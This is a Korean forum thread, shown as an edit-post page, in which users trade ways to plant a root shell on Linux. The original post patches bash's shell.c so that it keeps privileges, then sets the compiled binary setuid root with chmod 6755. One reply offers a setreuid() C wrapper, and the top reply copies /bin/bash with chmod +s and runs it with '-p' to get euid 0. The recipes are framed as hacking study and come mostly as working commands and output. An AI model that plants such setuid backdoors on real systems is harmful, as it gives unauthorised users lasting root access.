적수네 동네 - 1원짜리 팁? [ 게시물 수정 ]

	>> Edit article


			이름
			제목
			패스워드

sh-2.05# bash --version
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
Copyright 2000 Free Software Foundation, Inc.
 sh-2.05# cp /bin/bash .
 sh-2.05# chmod +s bash
 sh-2.05# su test
 [test@test test]$ id
uid=624(test) gid=512(test) groups=512(test)
 [test@test test]$ ./bash -p
 bash-2.05# id
uid=624(test) gid=512(test) euid=0(root) egid=0(root) groups=512(test)
 : 안녕하세요?
: 
: 훨씬 더 간단한 방법이 있었군요. =_=
: 
: 제가 고친 부분의 요지는... bash에서 euid도 먹게 하자는 의도었고...
: 성현님의 요지는... 아예 real uid도 바꿔버리자는 의도인 것 같습니다.
: 
: 성현님의 방법이 더 간단한 듯... :)
: 
: 팁 감사합니다.
: 
: 그럼...
: 
: 
: : C에서 setreuid() 함수도 setuid 안먹히나요?
: : 
: : [jsh83@gelug jsh83]$ bash --version
: : GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
: : Copyright 2000 Free Software Foundation, Inc.
: : [jsh83@gelug jsh83]$
: : 
: : 버전은 위와 같고, 2.05b하고는 다른 건지 모르겠지만..;
: : 
: : <pre>#include &lt;stdio.h&gt;
: : #include &lt;stdlib.h&gt;
: : #include &lt;sys/types.h&gt;
: : #include &lt;unistd.h&gt;
: : 
: : int main(void)
: : {
: :         int n;
: : 
: :         setreuid(0, 510); // 510은 jsh83의 권한
: :         system("/usr/bin/id");
: : 
: :         exit(0);
: : }
: : 
: : </pre>
: : 위와 같이 파일 만들어서 루트권한으로 컴파일 한 후
: : 
: : chmod 4751 파일명 && chgrp jsh83 파일명
: : 
: : 하니깐 잘 되던데요.. 이번엔 안되는지요?
: : 
: : : 안녕하세요?
: : : 
: : : 요즘은 기초적인 해킹 공부를 하려고 해도 shell level에서 setuid를 막아버
: : : 려 간단한 방법으로는 root shell을 만들기가 어렵게 되어 있습니다.
: : : 
: : : 이 문서는 최신 버전 bash(현재 2.05b)를 기준으로 root shell을 만드는 방
: : : 법에 대해 간단히 적혀있습니다.
: : : 
: : : 해킹 공부 목적에 사용하시건, 악용하시건, 사용자 마음이지만, 책임도 같
: : : 이 지시기 바랍니다. :)
: : : 
: : : 
: : : ** 준비물 **
: : : bash 최신 버전 (bash-2.05b.tar.gz)
: : : 슈퍼 유저 권한
: : : 
: : : bash 최신 버전은 ftp.gnu.org에 공식 배포본을 구하실 수 있으며, 
: : : ftp.linux.sarang.net에서도 미러링되어 있습니다. 슈퍼 유저 권한은 따로 
: : : 설명하지 않겠습니다.
: : : 
: : : 
: : : ** root shell 만들기 **
: : : 우선 bash 소스를 압축 푼 뒤에 shell.c를 수정해야 합니다.
: : : 2.05b를 기준으로 442라인에 보시면 아래의 구문이 있습니다. (타 버전에서
: : : 는 위, 아래 라인을 잘 살펴보세요)
: : : 
: : : if (running_setuid && privileged_mode == 0)
: : :   disable_priv_mode ();
: : : 
: : : 간단합니다. disable_prov_mode()부분을 주석 처리해 버립시다.
: : : 
: : : ->
: : : if (running_setuid && privileged_mode == 0);
: : :   /* disable_priv_mode (); */
: : : 
: : : if문 뒤에 세미콜론을 찍는 것을 까먹지 마시고...
: : : 
: : : 다음에 컴파일 해야 합니다. 좀 더 완벽한 루트쉘을 위한 configure옵션을 
: : : 적는다면...
: : : 
: : : $ ./configure --enable-static-link --disable-history
: : : 
: : : 뭐 적당한 옵션을 줘서 configure하고 make하면 bash 바이너리 파일이 컴파
: : : 일됩니다.
: : : 
: : : 다음에 루트 권한으로 쑤시는 명령들...
: : : 
: : : # chown root.root bash
: : : # chmod 6755 bash
: : : # ls -l bash
: : : -rwsr-sr-x    1 root     root      2264774  9월 11 22:03 bash
: : : #
: : : 
: : : 오.. 이쁜 루트쉘이 탄생했군요. 그럼 일반 유저 권한으로 실행해보면...
: : : 
: : : $ ./bash
: : : # id
: : : # uid=1000(xxxx) gid=100(users) euid=0(root) egid=0(root) groups=100
: : : (users)
: : : 
: : : euid, guid가 root로 된 것을 확인할 수 있습니다.
: : : 
: : : 
: : : 유용하게 쓰셨으면 하며... 쉬운 내용이지만 가능한 한 악용하지 말아 주셨
: : : 으면 합니다.
: : : 
: : : 그럼...
: : 
: : --
: : L!nux 사랑, 세벌식 사랑, 나라 사랑
: : <img src="http://www.gelug.pe.kr/gelug.gif">